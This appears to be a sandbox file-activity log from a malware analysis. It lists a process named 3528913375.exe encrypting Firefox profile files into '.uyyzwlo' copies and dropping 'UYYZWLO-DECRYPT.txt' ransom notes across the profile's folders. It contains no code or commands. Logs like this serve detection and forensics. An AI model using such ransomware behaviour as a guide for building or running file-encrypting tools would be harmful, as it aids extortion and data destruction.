2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata.uyyzwlo gpg
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata-v2 ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\journals\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\1.uyyzwlo ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\1 ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\3312185054sbndi_pspte.files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata-v2.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\idb\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\.metadata-v2 ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+home\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore.jsonlz4.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\previous.jsonlz4.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\SiteSecurityServiceState.txt.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore.jsonlz4 ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\previous.jsonlz4 ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\SiteSecurityServiceState.txt ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\saved-telemetry-pings\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\revocations.txt.uyyzwlo bs
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\search.json.mozlz4.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.json.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionstore-backups\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\search.json.mozlz4 ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.json ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\revocations.txt ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.js.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pluginreg.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\pluginreg.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.js ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\places.sqlite ––